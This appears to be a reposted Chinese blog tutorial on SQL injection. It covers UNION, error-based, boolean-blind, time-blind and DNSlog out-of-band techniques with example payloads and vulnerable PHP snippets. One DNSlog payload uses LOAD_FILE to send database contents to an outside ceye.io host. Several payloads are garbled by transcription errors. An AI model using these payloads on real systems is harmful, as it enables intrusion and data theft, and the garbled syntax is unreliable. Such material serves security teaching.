SQL注入语法类型和sql盲注
SQL注入語法
Union注入方法
SQL UNION操作符
UNION操作符用于合并兩個或多個SELECT語句的結果集。
注意,UNION 內部的SELECT語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條SELECT語句中的列的順序必須相同。
默認情況,UNION 操作符選取不同的值。如果允許重復的值,請使用UNION ALL。
例:
SELECT column name(s) FROM table_ name1
UNION
SELECT column_ name(s) FROM table_ name2
|SELECT column_ name(s) FROM table_ name1
UNION ALL
SELECT column name(s) FROM table_ name2
UNION注入應用場景
1.只有最后一個SELECT子句允許有ORDER BY;
2.只有最后一個SELECT子句允許有limit;
3.只要UNON連接的幾個查詢的字段數一樣且列的數據類型轉換沒有問題,就可以查詢出結果:
4.注入點頁面有回顯;
例:
mysql> select * from users order by id union select 1.2,3;
ERROR 1221 (HY00): ncorrer usage of UNION and ORDER BY
mysq|> select * from users limit 0.1 union selet 1.2.3;
ERROR 1221 (HY00); Inorrecet usage of UNION and LIMIT
order by猜出來的列數超過數據庫表中的列數,報錯井不能返回數據
過程
1.order by確定列數
2.觀察頁面返回,選取可以顯示數據的位置,進行下一步的注入
3.讀庫信息
4.讀表信息
5.讀字段
6.讀數據
在這個3到4階段,可以執行任意語句
報錯注入原理
構造payload讓信息通過錯誤提示回顯出來
應用場景:查詢不回現內容,會打印錯誤信息。Update、insert等語句, 會打印錯誤信息
報錯注入方法
凡是可以讓錯誤信息顯示的函數(語句) ,都能實現報錯注入,這里我們列舉3種。
floor()
select count(*) from information_schema.tables group by concat((想要執行的sql注入語句),(rand(0)*2)):
group by對rand0函數進行操作時產生錯誤
concat:連接字符串功能
floor:取float的整數值
rand:取0~1之間隨機浮點值
group by.根據一個或多個列對結果集進行分組并有排序功能
extractvalue()
extractvalue(1,concat(0x7e,(想要執行的sql注入語句),0x7e);、
xpath語法錯誤產生報錯
extractvalue() :接收2個參數,第一個XML文檔,第二個xpath語句
updatexml()
select updatexml(1,concat(0x7e,(想要執行的sql注入語句),0x7e)1);
xpath語法錯誤產生報錯
updatexml() :接收3個參數第一個XML文檔 ,第二個xpath語句,第三個字符串
sql盲注
布爾盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "right" ; } else { echo "wrong" ; }代碼存在SQL注入漏洞
然而頁面即不會回顯數據,也不會回顯錯誤信息
只返回"Right" 與"Wrong"
這里我們可以通過構造語句,來判斷數據庫信息的正確性,再通過頁面的“真”和"假”來識別我們的判斷是否正確,這既是布爾盲注。
1.如果頁面返回“假”, 說明系統執行的SqL語句為“假”。例如: id=1 and left((select version0).1)=5–+
錯誤請求,id=1’,想辦法構造語句.判斷數據庫中內容的值
布爾盲注方法
構造邏輯判斷語句,判斷信息的真假,取出所有的真值,實現SQL注入
left0函數
left(database(),1)>‘s’
database()顯示數據庫名稱,left(a,b)從左側截取a的前b位
regexp
select user() regexp ‘^r’
正則表達式的用法user()結果為root,regexp為匹配root的正則表達式
like
select user0 like ‘ro%’
與regexp類似,使用like進行匹配
substr()函數
ascii()函數
ascii(substr((select database()),1,1)=98
substr(a,b,c)從b位開始,截取字符串a的c長度。ascii()將某個字符轉換為ascii值
ord0函數
mid0函數
ord(mid((select user())1,1))=114
mid(a,b,c)從位b開始,截取a字符串的c位ord()函數同ascii()。將字符轉為ascii值
時間盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "" ; } else { echo "" ; }代碼存在SQL注入漏洞,然而頁面即不會回顯數據,也不會回顯錯誤信息
語句執行后也不提示真假,我們不能通過頁面的內容來進行判斷
這里我們可以通過構造語句,通過頁面響應的時長,來判斷信息,這既是時間盲注!
時間盲注方法
構造邏輯語句,通過條件語句進行判斷,為真則立即執行,否則延時執行
核心語法: if(left(user(),1)=‘a’,0,sleep(3));
left(user(),1)='a’判斷通過SQL語句取到某個值
真實場景: if(ascii(substr(database(),1,1)> 115,0,sleep(5))%23
dnslog盲注原理
$id=$_ GET['id']; $sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1'; $result =mysql_queryl($sql); $row = mysql_fetch_array($result); if($row) { echo "right" ; } else { echo "wrong" ; }代碼存在SQL注入漏洞,然而頁面即不會回顯數據,也不會回顯錯誤信息
我們通過布爾或者時間盲注都可以獲取到內容,但是整個過程效率低,需要發送很多的請求進行判斷,很可能會觸發安全設備的防護。
我們需要一種方式,減少請求,直接回顯數據,這里可以使用DnsLog實現注入!
Dnslog平留: http://ceye.io/
DNS在解析的時候會留下日志,通過讀取多級域名的解析日志,獲取信息請求信息
Windows系統的MySqI LOAD_ FILE函數可以發起請求
Dnslog盲注方法
構造語句,利用load file()函數發起請求,使用Dnslog接受請求,獲取數據
核心語法: SELECT LOAD_FILE(CONCA(‘\\’,select database()), ‘.mysql.r4ourp.ceye.io\abc’));
通過SQL語句詢內容,作為請求的部分,發送至Dnslog
只要對這一部分的語句進行構造,就能實現有回顯的SQL注入
值得注意的是.這些數據格式和內容都有限制,需要進行些處理
總結
以上是生活随笔為你收集整理的SQL注入语法类型和sql盲注的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java秒杀业务架构设计之路
- 下一篇: PostgreSQL安装及关联ArcMa